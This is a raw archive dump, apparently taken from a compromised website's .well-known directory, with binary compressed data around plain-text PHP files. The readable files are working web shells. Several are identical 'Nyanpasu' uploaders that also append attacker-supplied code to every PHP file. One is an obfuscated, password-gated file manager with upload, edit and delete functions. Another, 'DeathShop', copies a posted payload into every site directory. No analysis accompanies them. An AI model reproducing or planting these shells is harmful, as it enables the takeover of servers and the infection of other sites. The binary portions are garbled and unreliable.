{�;��^�/��<3/񋖊�ܩ��)!��R�L,�2/���PiC5탎X����7�krBA��+���VS���rL�]�<@��US��J3��H$*��f����+��~�DWM��k�q�U������+՝R��{��#�v:g3���M!�T�m�L݁Ӌ�&�hX���f*3����%�xowȣK.�Abb��Z�^�Y�Z���?1��~۹~��tv���CC"�28P���W\�.�[�#u�_�df�ޑk�}|1x�<Q���Ndx'vx��Te2�;e��8�I}xw����T&#K���%��'��Ѩ��O�嬘���7~(�ܢdz�%rɨHI\̙	B�L��>
)�!�ۄ��A�X�1��U�+�]Qm�M(�	y4_^4�N�t���ft����^�dzLd�ڐ�\�4���1��%�:$ɬ��Lɯ	J��YA�4ΪcpL�ߕ��w▒I��k��+Y����\^GZEf.�֭���6h�m�zt�S?�w�_0s�9�M����]�־���y��'����͝�t1�'�s�U�;��C���2P����+�\���g2�O&��|e�g������
��]�n)�Q��3"��WL��ʚ��M�Uٟ�oe֍���z�;w�d�46���҄ʭ4�3l��75�L����;жU��W��h!��V�!��u����e���W�s�_
�|�Ұ�0r��[�ܱ(]hc��PA&\A��;��o�;\�+k-�R��P�>�Z���qIl���z��.����z7*���%�S/4�����kxI�qܹ��D\��ip���n;	_�U������~ћjR�wqX}�G,�v���:U=Rm�aV�0V��Xws¶�K?Q(�,�r�u�Y�A̓ʙ��ǯ�B��\H��pV_v�v������o�����~����~�����PK2G�[�I�""qpyufacb.php.php.tar.gznu�[�����S]k�@�s~��p���>Ĥ�ne-�"ØL��Lfv2��Z�}(,l��ɝ�q�N�
N��[�H��r����g�SJbʋ�(�t�ޤ��_r[&$Zwd*�ދ.`xs��:��ܽ�
z��p8\��~��
���@Yh�
�_d����I"��%BqĩNE8R�A4��V��e��$J{��)&�8��Ԩf$,��	���\sv�$+�u�%�$E�h4�X9�#�hh�,i����������V�����Rf>������\b���t�.�mח���W���z�^�~Z�@,��C_Nj��&O����1S4�BmQ�0�2���o59�
M�8����
ꚾ腸���1�;��:�fw̛_e5S���0D-b�Tؤ`�Z	�
�A2"EI\�j�
10���剨m�x�x�L�gx�s1��'���pt`�αؠ�<�6����3��M��0s�?�'�4mٴ��\�Q&�����g�P֩��F�[o���x0��������.���o��l
PK2G�[��pp.well-known.tarnu�[���qpyufacb.php000064400000001370151167100470007072
0ustar00<?php echo"<form method='post'
enctype='multipart/form-data'><input type='file'
name='a'><input type='submit'
value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?>
<?php
if (isset($_GET['bak'])) {
$directory = __DIR__;
$mama = $_POST['file'];
$textToAppend = '
' . $mama . '
';
if ($handle = opendir($directory)) {
    while (false !== ($file = readdir($handle))) {
        if (pathinfo($file, PATHINFO_EXTENSION) === 'php') {
            $fileHandle = fopen($directory . '/' . $file,
'a');
            fwrite($fileHandle, $textToAppend);
            fclose($fileHandle);
            echo "OK >> $file
";
        }
    }
    closedir($handle);
}
}
?>
nrvts5.php000064400000000000151167100470006506
0ustar00wbc80.php000064400000000016151167100470006177 0ustar00404: Not
Foundssb4zz.php000064400000000000151167100470006504
0ustar00x0slb.php000064400000000016151167100470006304 0ustar00404: Not
Foundw4ad6z.php000064400000000000151167100470006364
0ustar00muhuc.php000064400000000016151167100470006375 0ustar00404: Not
Foundindec.php000064400000033211151167100470006341 0ustar00<?php goto
NLnKLsvYFH;
NLnKLsvYFH:
$password =
   
"\x30\x61\x39\x31\x65\x63\x37\x38\x61\x32\x63\x62\x38\x65\x38\x30\x38\x38\x39\x35\x62\x35\x61\x36\x30\x61\x64\x65\x36\x63\x31\x64";
error_reporting(0);
set_time_limit(0);
session_start();
if (isset($_SESSION["\x6c\x6f\x67\x67\145\144\157\x6b\x6d"]))
{#loggedokm
    goto DqqOhzX5B0;
}
goto u3NT7x2QrJ;
u3NT7x2QrJ:
$_SESSION["\x6c\x6f\147\x67\x65\144\157\153\x6d"] = false;
DqqOhzX5B0:
if (!isset($_POST["\160\x61\x73\163\x77\x6f\x72\x64"])) {
#password
    goto pb73Ufbn0o;
}
if (!(md5($_POST["\160\x61\x73\163\x77\157\x72\144"]) ==
$password)) {
    goto mr5E2rLws5;
}
$_SESSION["\x6c\x6f\x67\x67\145\x64\x6f\153\155"] = md5(
    $_POST["\160\141\x73\163\x77\x6f\x72\x64"]
);
goto SjaSVtI46I;
SjaSVtI46I:
mr5E2rLws5:
pb73Ufbn0o:
if (
    !(
        !$_SESSION["\154\157\x67\x67\145\x64\157\x6b\155"] ||
        $_SESSION["\x6c\x6f\x67\147\x65\x64\x6f\x6b\155"] !=
$password
    )
) {
    goto EXNN3Tp2rS;
}
echo
"\xd\xa\74\x68\164\x6d\154\76\74\150\145\x61\x64\76\74\x74\x69\164\154\145\x3e\40\74\x2f\164\x69\x74\x6c\x65\76\x3c\57\150\145\x61\144\x3e\xd\12\40\40\x3c\x62\x6f\144\x79\76\xd\xa\x20\x20\x20\x20\x3c\x70\40\x61\x6c\x69\x67\156\x3d\x22\143\x65\x6e\x74\x65\x72\42\x3e\74\143\145\x6e\164\145\162\x3e\74\x66\157\x6e\164\40\163\x74\171\x6c\145\x3d\x22\x66\x6f\156\164\x2d\x73\151\x7a\x65\72\x31\63\x70\170\x22\40\143\157\154\x6f\162\75\x22\43\x66\x64\145\x36\x63\144\42\x20\x66\x61\143\145\75\x22\x22\x3e\15\12\x20\40\40\x20\74\146\x6f\x72\x6d\x20\155\x65\x74\x68\x6f\x64\75\x22\x70\x6f\x73\x74\42\76\15\xa\40\40\x20\x20\x20\x20\74\151\x6e\x70\x75\x74\x20\164\x79\x70\x65\x3d\42\x70\x61\x73\x73\167\157\x72\144\42\x20\156\x61\155\x65\75\42\x70\x61\x73\x73\x77\x6f\162\144\42\76\xd\12\40\x20\40\x20\x20\x20\x3c\151\156\160\165\164\x20\x74\171\x70\145\x3d\42\163\x75\142\x6d\x69\x74\x22\40\156\141\155\145\75\42\163\165\x62\x6d\x69\164\42\40\x76\141\x6c\165\145\x3d\x22\x20\x20\x3e\76\x22\x3e\15\xa\x20\x20\40\40\74\57\x66\x6f\162\155\76\15\12\x20\x20\74\57\x62\x6f\x64\171\76\xd\12\74\x2f\x68\164\x6d\x6c\x3e\15\xa\15\xa";
exit();
goto ocC9gxzse4;
ocC9gxzse4:
EXNN3Tp2rS:
?>  <!DOCTYPE html><html lang="en"><head>
   <meta charset="UTF-8">    <meta
http-equiv="X-UA-Compatible" content="IE=edge">   
<meta name="viewport" content="width=device-width,
initial-scale=1.0">    <title>000</title>    <link
href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css"
rel="stylesheet"       
integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD"
crossorigin="anonymous">    <link
rel="stylesheet"
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css"
      
integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ=="
       crossorigin="anonymous"
referrerpolicy="no-referrer" /></head><body>   
<?php
   function formatSizeUnits($bytes)
   {
       if ($bytes >= 1073741824) {
           $bytes = number_format($bytes / 1073741824, 2) . "
GB";
       } elseif ($bytes >= 1048576) {
           $bytes = number_format($bytes / 1048576, 2) . " MB";
       } elseif ($bytes >= 1024) {
           $bytes = number_format($bytes / 1024, 2) . " KB";
       } elseif ($bytes > 1) {
           $bytes = $bytes . " bytes";
       } elseif ($bytes == 1) {
           $bytes = $bytes . " byte";
       } else {
           $bytes = "0 bytes";
       }
       return $bytes;
   }
   function fileExtension($file)
   {
       return substr(strrchr($file, "."), 1);
   }
   function fileIcon($file)
   {
       $imgs = [
           "apng",
           "avif",
           "gif",
           "jpg",
           "jpeg",
           "jfif",
           "pjpeg",
           "pjp",
           "png",
           "svg",
           "webp",
       ];
       $audio = ["wav", "m4a", "m4b",
"mp3", "ogg", "webm", "mpc"];
       $ext = strtolower(fileExtension($file));
       if ($file == "error_log") {
           return '<i class="fa-sharp fa-solid
fa-bug"></i> ';
       } elseif ($file == ".htaccess") {
           return '<i class="fa-solid
fa-hammer"></i> ';
       }
       if ($ext == "html" || $ext == "htm") {
           return '<i class="fa-brands
fa-html5"></i> ';
       } elseif ($ext == "php" || $ext == "phtml") {
           return '<i class="fa-brands
fa-php"></i> ';
       } elseif (in_array($ext, $imgs)) {
           return '<i class="fa-regular
fa-images"></i> ';
       } elseif ($ext == "css") {
           return '<i class="fa-brands
fa-css3"></i> ';
       } elseif ($ext == "txt") {
           return '<i class="fa-regular
fa-file-lines"></i> ';
       } elseif (in_array($ext, $audio)) {
           return '<i class="fa-duotone
fa-file-music"></i> ';
       } elseif ($ext == "py") {
           return '<i class="fa-brands
fa-python"></i> ';
       } elseif ($ext == "js") {
           return '<i class="fa-brands
fa-js"></i> ';
       } else {
           return '<i class="fa-solid
fa-file"></i> ';
       }
   }
   function encodePath($path)
   {
       $a = ["/", "\\", ".", ":"];
       $b = ["ক", "খ", "গ",
"ঘ"];
       return str_replace($a, $b, $path);
   }
   function decodePath($path)
   {
       $a = ["/", "\\", ".", ":"];
       $b = ["ক", "খ", "গ",
"ঘ"];
       return str_replace($b, $a, $path);
   }
   $root_path = __DIR__;
   if (isset($_GET["p"])) {
       if (empty($_GET["p"])) {
           $p = $root_path;
       } elseif (!is_dir(decodePath($_GET["p"]))) {
           echo "<script>\nalert('Directory is Corrupted
and
Unreadable.');\nwindow.location.replace('?');\n</script>";
       } elseif (is_dir(decodePath($_GET["p"]))) {
           $p = decodePath($_GET["p"]);
       }
   } elseif (isset($_GET["q"])) {
       if (!is_dir(decodePath($_GET["q"]))) {
           echo
"<script>window.location.replace('?p=');</script>";
       } elseif (is_dir(decodePath($_GET["q"]))) {
           $p = decodePath($_GET["q"]);
       }
   } else {
       $p = $root_path;
   }
   define("PATH", $p);
   echo '<nav class="navbar navbar-light"
style="background-color: #fdcdf9;">  <div
class="navbar-brand">  <a href="?"><img
src="https://github.com/fluidicon.png" width="30"
height="30" alt=""></a>';
   $path = str_replace("\\", "/", PATH);
   $paths = explode("/", $path);
   foreach ($paths as $id => $dir_part) {
       if ($dir_part == "" && $id == 0) {
           $a = true;
           echo "<a href=\"?p=/\">/</a>";
           continue;
       }
       if ($dir_part == "") {
           continue;
       }
       echo "<a href='?p=";
       for ($i = 0; $i <= $id; $i++) {
           echo str_replace(":", "ঘ", $paths[$i]);
           if ($i != $id) {
               echo "ক";
           }
       }
       echo "'>" . $dir_part . "</a>/";
   }
   echo '</div><div class="form-inline"><a
href="?upload&q=' .
       urlencode(encodePath(PATH)) .
       '"><button class="btn btn-dark"
type="button">Upload File</button></a><a
href="?"><button type="button" class="btn
btn-dark">HOME</button></a>
</div></nav>';
   if (isset($_GET["p"])) {
       if (is_readable(PATH)) {
           $fetch_obj = scandir(PATH);
           $folders = [];
           $files = [];
           foreach ($fetch_obj as $obj) {
               if ($obj == "." || $obj == "..") {
                   continue;
               }
               $new_obj = PATH . "/" . $obj;
               if (is_dir($new_obj)) {
                   array_push($folders, $obj);
               } elseif (is_file($new_obj)) {
                   array_push($files, $obj);
               }
           }
       }
       echo '<table class="table table-hover"> 
<thead>    <tr>      <th
scope="col">Name</th>      <th
scope="col">Size</th>      <th
scope="col">Modified</th>      <th
scope="col">Perms</th>      <th
scope="col">Actions</th>    </tr>  </thead> 
<tbody>';
       foreach ($folders as $folder) {
           echo "    <tr>      <td><i
class='fa-solid fa-folder'></i> <a
href='?p=" .
               urlencode(encodePath(PATH . "/" . $folder)) .
               "'>" .
               $folder .
               "</a></td>     
<td><b>---</b></td>      <td>" .
               date("F d Y H:i:s.", filemtime(PATH .
"/" . $folder)) .
               "</td>      <td>0" .
               substr(decoct(fileperms(PATH . "/" . $folder)),
-3) .
               "</a></td>      <td>      <a
title='Rename' href='?q=" .
               urlencode(encodePath(PATH)) .
               "&r=" .
               $folder .
               "'><i class='fa-sharp fa-regular
fa-pen-to-square'></i></a>      <a
title='Delete' href='?q=" .
               urlencode(encodePath(PATH)) .
               "&d=" .
               $folder .
               "'><i class='fa fa-trash'
aria-hidden='true'></i></a>      <td>   
</tr>";
       }
       foreach ($files as $file) {
           echo "    <tr>          <td>" .
               fileIcon($file) .
               $file .
               "</td>          <td>" .
               formatSizeUnits(filesize(PATH . "/" . $file)) .
               "</td>          <td>" .
               date("F d Y H:i:s.", filemtime(PATH .
"/" . $file)) .
               "</td>          <td>0" .
               substr(decoct(fileperms(PATH . "/" . $file)), -3)
.
               "</a></td>          <td>         
<a title='Edit File' href='?q=" .
               urlencode(encodePath(PATH)) .
               "&e=" .
               $file .
               "'><i class='fa-solid
fa-file-pen'></i></a>          <a
title='Rename' href='?q=" .
               urlencode(encodePath(PATH)) .
               "&r=" .
               $file .
               "'><i class='fa-sharp fa-regular
fa-pen-to-square'></i></a>          <a
title='Delete' href='?q=" .
               urlencode(encodePath(PATH)) .
               "&d=" .
               $file .
               "'><i class='fa fa-trash'
aria-hidden='true'></i></a>          <td>   
</tr>";
       }
       echo "  </tbody></table>";
   } else {
       if (empty($_GET)) {
           echo
"<script>window.location.replace('?p=');</script>";
       }
   }
   if (isset($_GET["upload"])) {
       echo '    <form method="post"
enctype="multipart/form-data">        Select file to upload:  
     <input type="file" name="fileToUpload"
id="fileToUpload">        <input type="submit"
class="btn btn-dark" value="Upload"
name="upload">    </form>';
   }
   if (isset($_GET["r"])) {
       if (!empty($_GET["r"]) &&
isset($_GET["q"])) {
           echo '    <form method="post">       
Rename:        <input type="text" name="name"
value="' .
               $_GET["r"] .
               '">        <input type="submit"
class="btn btn-dark" value="Rename"
name="rename">    </form>';
           if (isset($_POST["rename"])) {
               $name = PATH . "/" . $_GET["r"];
               if (rename($name, PATH . "/" .
$_POST["name"])) {
                   echo "<script>alert('Renamed.');
window.location.replace('?p=" .
                       encodePath(PATH) .
                       "');</script>";
               } else {
                   echo "<script>alert('Some error
occurred.'); window.location.replace('?p=" .
                       encodePath(PATH) .
                       "');</script>";
               }
           }
       }
   }
   if (isset($_GET["e"])) {
       if (!empty($_GET["e"]) &&
isset($_GET["q"])) {
           echo '    <form method="post">       
<textarea style="height: 500px;        width: 90%;"
name="data">' .
               htmlspecialchars(file_get_contents(PATH . "/" .
$_GET["e"])) .
               '</textarea>        <br>        <input
type="submit" class="btn btn-dark"
value="Save" name="edit">    </form>';
           if (isset($_POST["edit"])) {
               $filename = PATH . "/" . $_GET["e"];
               $data = $_POST["data"];
               $open = fopen($filename, "w");
               if (fwrite($open, $data)) {
                   echo "<script>alert('Saved.');
window.location.replace('?p=" .
                       encodePath(PATH) .
                       "');</script>";
               } else {
                   echo "<script>alert('Some error
occurred.'); window.location.replace('?p=" .
                       encodePath(PATH) .
                       "');</script>";
               }
               fclose($open);
           }
       }
   }
   if (isset($_POST["upload"])) {
       $target_file = PATH . "/" .
$_FILES["fileToUpload"]["name"];
       if (
          
move_uploaded_file($_FILES["fileToUpload"]["tmp_name"],
$target_file)
       ) {
           echo "<p>" .
              
htmlspecialchars(basename($_FILES["fileToUpload"]["name"]))
.
               " has been uploaded.</p>";
       } else {
           echo "<p>Sorry, there was an error uploading your
file.</p>";
       }
   }
   if (isset($_GET["d"]) && isset($_GET["q"]))
{
       $name = PATH . "/" . $_GET["d"];
       if (is_file($name)) {
           if (unlink($name)) {
               echo "<script>alert('File removed.');
window.location.replace('?p=" .
                   encodePath(PATH) .
                   "');</script>";
           } else {
               echo "<script>alert('Some error
occurred.'); window.location.replace('?p=" .
                   encodePath(PATH) .
                   "');</script>";
           }
       } elseif (is_dir($name)) {
           if (rmdir($name) == true) {
               echo "<script>alert('Directory
removed.'); window.location.replace('?p=" .
                   encodePath(PATH) .
                   "');</script>";
           } else {
               echo "<script>alert('Some error
occurred.'); window.location.replace('?p=" .
                   encodePath(PATH) .
                   "');</script>";
           }
       }
   }
   ?>    <script
src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"
      
integrity="sha384-w76AqPfDkMBDXo30jS1Sgez6pr3x5MlQ1ZAGC+nuZB+EYdgRZgiwxhTBTkF7CXvN"
      
crossorigin="anonymous"></script></body></html>y.php000064400000005552151167100470005536
0ustar00<?php

function generateRandomString($length) {
    $characters = 'abcdefghijklmnopqrstuvwxyz';
    $charLength = strlen($characters);
    $randomString = '';
    for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[rand(0, $charLength - 1)];
    }
    return $randomString;
}

function method1() {
    $currentPath = dirname($_SERVER['DOCUMENT_ROOT']);

    if ($currentPath === false) {
        echo "Unable to determine the current path.";
        return;
    }

    $contents = scandir($currentPath);

    if ($contents === false) {
        echo "Unable to list the contents of the current path.";
        return;
    }
    echo json_encode($contents);
}

function method2() {
    $currentPath = $_SERVER['DOCUMENT_ROOT'];

    if ($currentPath === false) {
        echo "Unable to determine the current path.";
        return;
    }

    $contents = scandir($currentPath);

    if ($contents === false) {
        echo "Unable to list the contents of the current path.";
        return;
    }
    echo json_encode($contents);
}

if (isset($_GET['met1'])) {
    method1();
} else if (isset($_GET['met2'])) {
    method2();
} else if (isset($_GET['actmet1'])) {
    $sc = $_POST['file'];
    $nama = generateRandomString(8);
    $filePath = $nama . '.php';
    
    $dead = fopen($filePath, "w");
    if ($dead === false) {
        echo "Failed to open the file for writing.";
    } else {
    
        if (fwrite($dead, $sc) === false) {
            echo "Failed to write to the file.";
        } else {
            fclose($dead);
            $currentPath = dirname($_SERVER['DOCUMENT_ROOT']);
            $contents = scandir($currentPath);
            foreach ($contents as $a) {
                $newpath = $currentPath . '/' . $a .
'/' . $nama . '.php';
                $badman = @copy($filePath, $newpath);
                if ($badman) {
                    echo $a . '/' . $nama . '.php' .
'|';
                }
            }
        }
    }
} else if (isset($_GET['actmet2'])) {
    $sc = $_POST['file'];
    $nama = generateRandomString(8);
    $filePath = $nama . '.php';
    
    $dead = fopen($filePath, "w");
    if ($dead === false) {
        echo "Failed to open the file for writing.";
    } else {
    
        if (fwrite($dead, $sc) === false) {
            echo "Failed to write to the file.";
        } else {
            fclose($dead);
            $currentPath = $_SERVER['DOCUMENT_ROOT'];
            $contents = scandir($currentPath);
            foreach ($contents as $a) {
                $newpath = $currentPath . '/' . $a .
'/' . $nama . '.php';
                $badman = @copy($filePath, $newpath);
                if ($badman) {
                    echo $a . '/' . $nama . '.php' .
'|';
                }
            }
        }
    }
} else {
    echo 'DeathShop';
}
?>ratcsegm.php000064400000001370151167100470007065 0ustar00<?php
echo"<form method='post'
enctype='multipart/form-data'><input type='file'
name='a'><input type='submit'
value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?>
<?php
if (isset($_GET['bak'])) {
$directory = __DIR__;
$mama = $_POST['file'];
$textToAppend = '
' . $mama . '
';
if ($handle = opendir($directory)) {
    while (false !== ($file = readdir($handle))) {
        if (pathinfo($file, PATHINFO_EXTENSION) === 'php') {
            $fileHandle = fopen($directory . '/' . $file,
'a');
            fwrite($fileHandle, $textToAppend);
            fclose($fileHandle);
            echo "OK >> $file
";
        }
    }
    closedir($handle);
}
}
?>
erfinejd.php000064400000001370151167100470007046 0ustar00<?php
echo"<form method='post'
enctype='multipart/form-data'><input type='file'
name='a'><input type='submit'
value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?>
<?php
if (isset($_GET['bak'])) {
$directory = __DIR__;
$mama = $_POST['file'];
$textToAppend = '
' . $mama . '
';
if ($handle = opendir($directory)) {
    while (false !== ($file = readdir($handle))) {
        if (pathinfo($file, PATHINFO_EXTENSION) === 'php') {
            $fileHandle = fopen($directory . '/' . $file,
'a');
            fwrite($fileHandle, $textToAppend);
            fclose($fileHandle);
            echo "OK >> $file
";
        }
    }
    closedir($handle);
}
}
?>
PK2G�[�Sv��.well-known.tar.gznu�[�����<ir۸��[U}��iYk�k�Kbey��I���T	I�)�&)KN��1�	�%��\��`�0���(�N:�k"�dQ�}�B����lD�a���?}�R�Ҩ�R롔���O�z��h�K�Z뛥f���C�2s=�ɛ�uK��0ub)��LɔyK�dm�����wn�Nv:3<ݦ�W�^y�z4�m�=��1�
�%&��u�͝
�:�;��~�SӦ��Ν;Бc�m�u��>��]�y�[�'�_�ק\u�3۰�ƴҊ�������g?�(ěD���kَnz�͵.ZB����
��#��w�1;�'��#���S=�9'2�=3�2[S:�P�5xuЇ�\���c��zh��Ԡ=�ɒ����imM��:X�Q2�*�2�R�=���ȝN��9�jH��
X�M��n�,�C^=<|�|��������~��#���Q`,���9���b�P5�<׊�������K��jXn��ڌ(��nWP�(a��L��#�*����?0��RL��s��2�_���$��^jl�
��P�W�����ƒ�����7Pj��.ٷ<�Ě���fSn�����m��M��@Y�\�.�~���_��F�&���e^�Z��jc�7Q���L����Y���&���E75�}�Z�����_+o���[�E�_���p�~�	�w3[6uݹ�h��7U��E�t�h��>|�Q�O���'�*��Q�uu������>u	��7j�!��:��a�c9�ٖ���x��ke\�
<}��>�=Y庺e���v�������i�����?�Z>��r�)|����f�L�&��NO&����ps�Wͪ���E��V&�M��,ך�nH�\�
��ݎ���LHe�qǗ��nP��
��f���"5+\e�}�oʐ}{ج�
͒��s��S��3W`�3�tH�$���}��{��ܭ#��t.�=���u.?����*�ֈ�Cs�c��=�5��2�n&�j7�/�i��n'܉2]��Ng�w��Ы$V%��Dt���21�����W��G��;!G�hA������5�l����zI�*bJ�.x���?{T�Q��[+#���r������+z.�#�
b��x7��ˑ�}�y]TJ�vn
8Υ*(���H�*�pU�7&��s��*�<�
=WLH��������hz‡�gS�z��Ȇ�FE~WG��B#��8��,qHD��pEI�6�u�Z��}���jBQP!���#�D)�Q��Q*�R�7"���j�+�'���jFd��5�&���~�G��
��)q#����@*�X�i�%
�X�e�F�%ǀ8؏wT�n%<O�$�\ȱ�"rY��,��o��F����"�0��EL5����*7�x&���	ƚ��X����Sƅ	��a
`��o#TB�.MV�D�ĻU{����d�G����(��#�B�#'O>����x��e�V&��̈́Ii7�K��������<>��U�L���m�bPs�Q���oF�.f���y����Q�>��S"-ϳ��t��u����󏭩M=}h0����1���:L�(
?����l���H߹�y����t������S#��`�r�$1y�g�.�H�Eq�k
�<!��:
�����f�]���S0�W4�iqhY��9�[�P-��԰'�\�t�+�����Y��8��(�wn0w������ǎ�C�V���O_L����7i^������?�'���1l>7��j��N����{��z^�ON�Mu���q��F�u-G�fG��e�O���Dd\�fI�c���L�a՚�1]
}�G��<�3ך�b5����ʛ*^�\�?��o
{4������}l�ul�~������d�j���p���V����e�\=П����ӧ�=�������t���;���
�A�L/�c[��?����R춋�u�CK;��'F����T=�n<�B������r����ss�'8Y�O}�z��r�Ym��*���٥C��tȜ�@�C#�;��#���������1I�v��l\��
�������ⷵ�Iyny�(��,0m�*�$�PJi���0o昲+o����n��.X�ٗ��H�lc>�:q��<JA��4+?W�qn��1�1*�Bms��ī��Q�j�Tsl'��m�T5Z��S�A]�f�)�,Y3g�ا�
[t��
�����֨��/��_���/�2����`�{�a͙��f��w4q>C,Xa��$<N�5�։j�����hR�c�����p6�A��wI6͡:��GU��W�㣟������0\@�rV9$Zs%zC����	��:�|Ԑ[�lN�z��jZ�9��C�9���p�x�RЧtq��+�&�
�W��-�+a���~���~-�I��`�����MP��\]���ϯk�sob�WA}|]����u�O�x�f�ji��&�[xh3��)�aE�NGG
��o7����˿���������O�_������4��l{��y�;D�NL4�]�C��2{[̣X=�KDڊ�Ul�Mklj{�+�9�6N
)�uGwx�4���>�e�vUG���	�
�����iu�<�gf{L#�䭉�{),x
�\�Ȝ�f���R4J�WO�on%ϵX墧wM�pDۧ��^���Ku�Zn����idW�}�B�H��
僧$�m�]+��/�6陟3�r�Y|AfO`��`eHՓ�����*LA�]��HS��.�ښ��"ro�r�ro�u�p7ֽ�l��n#c�k:�8�"b��TK��cȋ��\`6�]�̶d�E�UfL(u.�3N��
P�6o��3�	U'd[��.���t	�8�	�
�yvWȯ�
�)%͊��sf���cRCG
8S�H�Q:%�7t3~����հq���!U�
ց�R�"�ʆ�w礪JL��~N�
v?n��'�9�:�sֵ��7L�1��Bd�
>(VO�Ţ��"8k7���ĩ8V�≏_O;YR�i�C��ۑ���X.�,Ù����3	|�uN�\�"z(ݷ�y�t�(*�w��F��A�"�>;xً�!R�"���M�����w����c쩔?8[��24��ާDH�RFaH#�S��{g
b��,$#�/K��]�&�K!Q8t�"w4�[��${.�6��I���᥊v���<E���u���W��Bde�:��m����Xg�pí�pK�s�*�1,�X2��>���{�͸e������#�ik��b��]���#�p���o�}��k�h�}Q�1z��N�.$5�u�)y66%�(�bR˿a��ʜ:��(�,��W���<�=-*�����!�$Rkԃ�h�w�lW�uq�.8Ż�W�:A��BJnF�TI��~���_Ac��鄖�W��M�N�
��6:���R���Iñ�(ل�;4�Ŵ�̼g���u��+����1�y�,��Ȃ�{u'YHZ:�OtMcf'�3�%)�mxئ�rF���,<Tq_��@�ѧH���L��ֺ�:��z�:�J�1��b*��k����T��>�ȯ��{�����_��,ݫ�M�����Ffғ��\~����.qin.�\E���.�%9�O�Χ
�3!�5�$Ol��;��fiB/�.�Y���q�O�+���<m��<m��uU�����8��@{�����(o��%V:
ѵDM7�xp?}�#��W|���,�N>ڟm�V���Eۑ���_��t�f�D��+�H���������[n�~�.>����K�D�)N�I�%�p��iiH�����9�NR�\M0�K`r�S���v&Ys)9'���Z�{*�뗴����-�"��G,U�9�md�B2=��e����kc���E��L���Kꥒ�h����.�_���"���!�
tm������Lg0f�@�I�x��/.�$�Ő����ܧgA,3�"]+�9@z��kb�����0|?�PiJ7|�G����W��.�i���#�\+��nI���LX�����V�$M_I��lA�`���$�P�}'>����Qfּ�g	�����N����0}�g��̖�Ȑ�r�[/I�T�L`�;dF�(�v�^�)�����8�;ě0��9`��t1�M7��ܚ9|��D�:�kW���Z�l�.(�$�;�p+�$�="p<�pI�~�őt�(ZA���N_�x�b�+��L�fܮ�%�U�ް�X�-D�1E��i�}�8z�x8�`�s�ǫ����y�����h��壽�V�t�/���s�v���K�u��ç���~��o>���br����I��ˎ�v]��r�����~�r�����r���z��|��^�n�u�^�9�s&8�5f&s���PH�Ӿ���[�{~�9k'JT��]�,��'��15-��q���|q�9ۊ��H�9�!���ω�E�>���D����9H�q$�N�ݏض]ډq�'��'I�B|�絣���ELWb�[ގ�G�{%���*�ޛw�7�{�߾���f?����D�Aw�ß1�Ę��w�-�1
�:�)#���{�V&�	%����(I��Wb̀1Hp��Y��q`=v-s
��6r+�QYi��f�X�뭰��T�FY�3U��!Ĕ-
��SYq�$����b�M�xQkj���!��Ɣ/kš�OG��ƨ�.A
�]1���`O(�jh0���KkL{���F��QN|J�v�A=�V�M#�a��'�8Y��{H0׊�}I6��_1^���
ހ�K�G`syl1�g�:[^�y@אjS�gS-�<�	>�$��k�T��/�L��"^�y����l�Ժ�,���oGD���^���	}��.D����ֽ���y��M���7�߼���-����[��k����(�������)��)�����pPK1G�[���6��qpyufacb.phpnu�[���PK1G�[��q��=�=4wp-2019.phpnu�[���PK1G�[eY�
�
�0Amenu.phpnu�[���PK1G�[���6��r�erfinejd.phpnu�[���PK2G�[�pm��	��error_lognu�[���PK2G�[4Ͳee��wp-2019.php.php.tar.gznu�[���PK2G�[���Eerfinejd.php.php.tar.gznu�[���PK2G�[�(�<�3�3_Hmenu.php.php.tar.gznu�[���PK2G�[�I�""�|qpyufacb.php.php.tar.gznu�[���PK2G�[��pp�~.well-known.tarnu�[���PK2G�[�Sv��)�.well-known.tar.gznu�[���PKl!